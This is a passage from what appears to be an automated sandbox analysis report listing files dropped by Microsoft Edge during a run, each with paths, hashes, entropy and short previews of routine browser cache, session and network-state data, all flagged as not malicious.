MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:zt8ctAyXl/lUn/lxE0tllsCvx:aujR0Fvx
MD5:	E1161EE0D718D6FB10F3B7CF82957C68
SHA1:	B21DE27537C9EED1479B47F5D25B6D9E0CE67099
SHA-256:	E99452A686CC550CF37F5CBDF2C919AF9BCC1363831236BF0F962857BD8CFAD2
SHA-512:	1D1B6B2A42E4486F97D68909720057F14DE671B178DDBBC729B2DEAD76C6158894A7E9C9820729D140DFD5C6F86E73F4D12FE26B68B9334C4E29F6BB7387DE8C
Malicious:	false
Preview:	@.....&.oy retne.........................X....,..................Hf../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:zt8ctAyXl/lUn/lxE0tllsCvx:aujR0Fvx
MD5:	E1161EE0D718D6FB10F3B7CF82957C68
SHA1:	B21DE27537C9EED1479B47F5D25B6D9E0CE67099
SHA-256:	E99452A686CC550CF37F5CBDF2C919AF9BCC1363831236BF0F962857BD8CFAD2
SHA-512:	1D1B6B2A42E4486F97D68909720057F14DE671B178DDBBC729B2DEAD76C6158894A7E9C9820729D140DFD5C6F86E73F4D12FE26B68B9334C4E29F6BB7387DE8C
Malicious:	false
Preview:	@.....&.oy retne.........................X....,..................Hf../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF325f8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.55492787511957
Encrypted:	false
SSDEEP:	3:zt8ctAyXl/lUn/lxE0tllsCvx:aujR0Fvx
MD5:	E1161EE0D718D6FB10F3B7CF82957C68
SHA1:	B21DE27537C9EED1479B47F5D25B6D9E0CE67099
SHA-256:	E99452A686CC550CF37F5CBDF2C919AF9BCC1363831236BF0F962857BD8CFAD2
SHA-512:	1D1B6B2A42E4486F97D68909720057F14DE671B178DDBBC729B2DEAD76C6158894A7E9C9820729D140DFD5C6F86E73F4D12FE26B68B9334C4E29F6BB7387DE8C
Malicious:	false
Preview:	@.....&.oy retne.........................X....,..................Hf../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	5135
Entropy (8bit):	3.4194968415068896
Encrypted:	false
SSDEEP:	96:ilxnwsuOwxwdht1KnpZuO9Xp+/i+o+iq9M5SLl9iSr/1x2bYR:dO7L1aeO9Xp+61+i95SLl9iSr/j2o
MD5:	09D93FF6A719265B501D4482943E4636
SHA1:	927D4709EAEBDA5EC73CDFCAE7DCD2D867D7454D
SHA-256:	28C94C76AAFFE069C5C0F504B160BB7F78AF4BC963072851492F2193054CA1F0
SHA-512:	D68D6D15D8331AC953887917EBF6764569FCA5FC2D679BD23C82F18B737959A23D1A695FE01E8BB485671E1AAF019D7BB5A836551FDC3DA816180ACDE1A81221
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............5...b................next-map-id.1.Cnamespace-cd148854_0c6d_4c29_a4c1_815c86b42521-https://ntp.msn.com/.0._.-.................map-0-shd_sweeper.%{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.h.p.-.h.a.s.p.o.l.l.,.p.r.g.-.i.n.f.o.p.-.a.d.s.-.d.l.-.t.1.,.p.r.g.-.1.s.w.-.s.a.g.e.e.x.p.k.,.p.r.g.-.1.s.w.-.s.a.-.u.i.e.n.i.c.h.e.c.,.p.r.g.-.1.s.w.-.s.a.-.m.a.i.p.r.o.f.i.l.e._.t.1.,.p.r.g.-.1.s.w.-.s.a.-.d.s.p.c.,.p.r.g.-.1.s.w.-.n.o.r.e.t.r.y.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.r.d.i.d.3.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.s.-.n.t.f.1.-.r.d.i.d.x.3.,.p.r.g.-.1.s.w.-.m.o.n.e.x.p.b.,.p.r.g.-.1.s.w.-.p.n.o.t.i.a.,.p.r.g.-.p.1.-.t.s.4.c.o.l.d.,.1.s.w.-.t.p.s.n.-.d.s.t.p.r.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.113992584265871
Encrypted:	false
SSDEEP:	6:HHvHUq2PqLTwi23oH+TcwtrQMxIFUt8YHvBPXZmw+YHv5kwOqLTwi23oH+Tcwtrb:nMv8wZYebCFUt8k5PX/+kx5TwZYebtJ
MD5:	DC783D99A3FC7E601E8AC8C2225CBB5F
SHA1:	B25499526646675407FEECB9D4C4AE7EF458C486
SHA-256:	22553625D093A1EEDF18F33EA0ABADB68CB8245EB5F3B891E410420140712927
SHA-512:	D9BC1F2E68C0E78940DD381310844B0C7330CC08796F049A888D9F9367B01EBB1FAB60BB56A94F5D8B2D30B4565A9B2D2D9F8719E926FD01C53E3E4F78EC2545
Malicious:	false
Preview:	2024/11/20-10:50:43.719 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-10:50:43.720 1d60 Recovering log #3.2024/11/20-10:50:43.722 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.113992584265871
Encrypted:	false
SSDEEP:	6:HHvHUq2PqLTwi23oH+TcwtrQMxIFUt8YHvBPXZmw+YHv5kwOqLTwi23oH+Tcwtrb:nMv8wZYebCFUt8k5PX/+kx5TwZYebtJ
MD5:	DC783D99A3FC7E601E8AC8C2225CBB5F
SHA1:	B25499526646675407FEECB9D4C4AE7EF458C486
SHA-256:	22553625D093A1EEDF18F33EA0ABADB68CB8245EB5F3B891E410420140712927
SHA-512:	D9BC1F2E68C0E78940DD381310844B0C7330CC08796F049A888D9F9367B01EBB1FAB60BB56A94F5D8B2D30B4565A9B2D2D9F8719E926FD01C53E3E4F78EC2545
Malicious:	false
Preview:	2024/11/20-10:50:43.719 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/20-10:50:43.720 1d60 Recovering log #3.2024/11/20-10:50:43.722 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13376591445365942

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.8039792218014297
Encrypted:	false
SSDEEP:	24:3BBlR2FQpHDljHDpsAF4unxK9tLp3X2amEtG1ChqZjorgcJWeroQKkOAM4I:3BBb2FIhzF6XLp2FEkChyjorgcJWerJq
MD5:	AEB48D39AA75A97854775B7814D9318A
SHA1:	7D89FAA8D972138D3C66C0BE07A9F85261B7BA5E
SHA-256:	311AE96A12B93E12F284236854DE958D5A8FE72CAB6C268FB8CB5A8D99B8810A
SHA-512:	1C49FA6795CE22F99F035DD5FC99649947E5AE81A39ABBCBCF6DFE1B57A4A7E4C0105C1B8713EE431037D73D7610805410A0918D910FE21964B1C57C893A73BF
Malicious:	false
Preview:	SNSS.........;=.............;=......"..;=.............;=.........;=.........;=.........;=....!....;=.................................;=..;=1..,.....;=$...cd148854_0c6d_4c29_a4c1_815c86b42521.....;=.........;=................;=.....;=.........................;=....................5..0.....;=&...{3A9A5720-BFF5-4C6E-B4C6-310A980401CC}.......;=.........;=............................;=.............;=........edge://newtab/......N.e.w. .t.a.b...........!...............................................................x...............................x...........Z'......Z'.................................. ...................................................r...h.t.t.p.s.:././.n.t.p...m.s.n...c.o.m./.e.d.g.e./.n.t.p.?.l.o.c.a.l.e.=.e.n.-.G.B.&.t.i.t.l.e.=.N.e.w.%.2.0.t.a.b.&.d.s.p.=.1.&.s.p.=.B.i.n.g.&.i.s.F.R.E.M.o.d.a.l.B.a.c.k.g.r.o.u.n.d.=.1.&.s.t.a.r.t.p.a.g.e.=.1.&.P.C.=.U.5.3.1.....................................8.......0.......8............................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Shortcuts

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.44194574462308833
Encrypted:	false
SSDEEP:	12:TLiNCcUMskMVcIWGhWxBzEXx7AAQlvsdFxOUwa5qgufTJpbZ75fOS:TLisVMnYPhIY5Qlvsd6UwccNp15fB
MD5:	B35F740AA7FFEA282E525838EABFE0A6
SHA1:	A67822C17670CCE0BA72D3E9C8DA0CE755A3421A
SHA-256:	5D599596D116802BAD422497CF68BE59EEB7A9135E3ED1C6BEACC48F73827161
SHA-512:	05C0D33516B2C1AB6928FB34957AD3E03CB0A8B7EEC0FD627DD263589655A16DEA79100B6CC29095C3660C95FD2AFB2E4DD023F0597BD586DD664769CABB67F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g....."....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.057161450510325
Encrypted:	false
SSDEEP:	6:HHtr+q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8YHH2FZZmw+YHH2FNVkwOqLTwi23oHT:ntSv8wZYebIhHh2FUt8kW/+kq5TwZYeQ
MD5:	E1AE93553001C9882B62127F9E94F9A4
SHA1:	E19E87C1CE4645E64429A5FBEA8B816CD3827E43
SHA-256:	757D475ED1D518C75A52836F294C5509F30C61DD953218E23AA86056C96C3F1C
SHA-512:	AFF31FACCB4E255C6FB2B24CD22CB4D45FF284A31AAFD9C82F2903DA80D6CA39D98EB46628311498C44C8017690197C7BCA5759CDB3DC6784E9B2A84D404EBBC
Malicious:	false
Preview:	2024/11/20-10:50:42.880 1ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-10:50:42.881 1ea8 Recovering log #3.2024/11/20-10:50:42.881 1ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.057161450510325
Encrypted:	false
SSDEEP:	6:HHtr+q2PqLTwi23oH+Tcwt7Uh2ghZIFUt8YHH2FZZmw+YHH2FNVkwOqLTwi23oHT:ntSv8wZYebIhHh2FUt8kW/+kq5TwZYeQ
MD5:	E1AE93553001C9882B62127F9E94F9A4
SHA1:	E19E87C1CE4645E64429A5FBEA8B816CD3827E43
SHA-256:	757D475ED1D518C75A52836F294C5509F30C61DD953218E23AA86056C96C3F1C
SHA-512:	AFF31FACCB4E255C6FB2B24CD22CB4D45FF284A31AAFD9C82F2903DA80D6CA39D98EB46628311498C44C8017690197C7BCA5759CDB3DC6784E9B2A84D404EBBC
Malicious:	false
Preview:	2024/11/20-10:50:42.880 1ea8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/MANIFEST-000001.2024/11/20-10:50:42.881 1ea8 Recovering log #3.2024/11/20-10:50:42.881 1ea8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	5.22861232013716
Encrypted:	false
SSDEEP:	12:nGBIv8wZYebvqBQFUt8klj/+kP5TwZYebvqBvJ:n/8wZYebvZg8kFBTwZYebvk
MD5:	B088398276C4AF29250C1EB37553A54B
SHA1:	17D5A228674D991A38A01A0ED53341D3EFF197B5
SHA-256:	A451B94DED7B55EE20949D8B0D88F03E32D8078022D70C76E5EEA1F0950D60C3
SHA-512:	F877DE3D54219E4B092BAFD5F6F183306971FDC307702E47B22E09AF5DF3A572E4FBEC441325C4BDA591311ECAEAFA254369C2E3CEB0F99A00078951661B3139
Malicious:	false
Preview:	2024/11/20-10:50:43.708 1c48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-10:50:43.709 1c48 Recovering log #3.2024/11/20-10:50:43.712 1c48 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	5.22861232013716
Encrypted:	false
SSDEEP:	12:nGBIv8wZYebvqBQFUt8klj/+kP5TwZYebvqBvJ:n/8wZYebvZg8kFBTwZYebvk
MD5:	B088398276C4AF29250C1EB37553A54B
SHA1:	17D5A228674D991A38A01A0ED53341D3EFF197B5
SHA-256:	A451B94DED7B55EE20949D8B0D88F03E32D8078022D70C76E5EEA1F0950D60C3
SHA-512:	F877DE3D54219E4B092BAFD5F6F183306971FDC307702E47B22E09AF5DF3A572E4FBEC441325C4BDA591311ECAEAFA254369C2E3CEB0F99A00078951661B3139
Malicious:	false
Preview:	2024/11/20-10:50:43.708 1c48 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/MANIFEST-000001.2024/11/20-10:50:43.709 1c48 Recovering log #3.2024/11/20-10:50:43.712 1c48 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3cf4c099-6ac9-4003-8dfc-8242addff838.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\3d8f60d8-d453-4aac-b34a-de6d064eb109.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\8332e656-6980-40a0-8dc5-461451eeb0cb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKqk1Yn:YHpoeS7PMVKJTnMRKXk1Yn
MD5:	807419CA9A4734FEAF8D8563A003B048
SHA1:	A723C7D60A65886FFA068711F1E900CCC85922A6
SHA-256:	AA10BF07B0D265BED28F2A475F3564D8DDB5E4D4FFEE0AB6F3A0CC564907B631
SHA-512:	F10D496AE75DB5BA412BD9F17BF0C7DA7632DB92A3FABF7F24071E40F5759C6A875AD8F3A72BAD149DA58B3DA3B816077DF125D0D9F3544ADBA68C66353D206C
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"3G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF2bf2f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\e1ef4f9d-4dd4-433d-8cb5-c9e456e2db11.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.184554327364239
Encrypted:	false
SSDEEP:	12:nfEv8wZYebvqBZFUt8kfH/+kf875TwZYebvqBaJ:nG8wZYebvyg8kPktTwZYebvL
MD5:	5668F013DE251788F3DAEA230742D5D1
SHA1:	7F03B5864E741753C0DFC9335C36D2A377A6C329
SHA-256:	2E7E8B7C4FA971EBBA8EA2FC203E2312C855C6ECFDC204DCCDF4406E93044EFA
SHA-512:	12D5EB17D63E89CA8A8628FB3C8AC837B0157D38BFE536DA368EAACE25025B8FE6E4AFD1AF586F92F15459B46ABB2C5966027BA6F8266B726FDF02733EEE7B13
Malicious:	false
Preview:	2024/11/20-10:51:01.127 1d60 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/20-10:51:01.129 1d60 Recovering log #3.2024/11/20-10:51:01.133 1d60 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
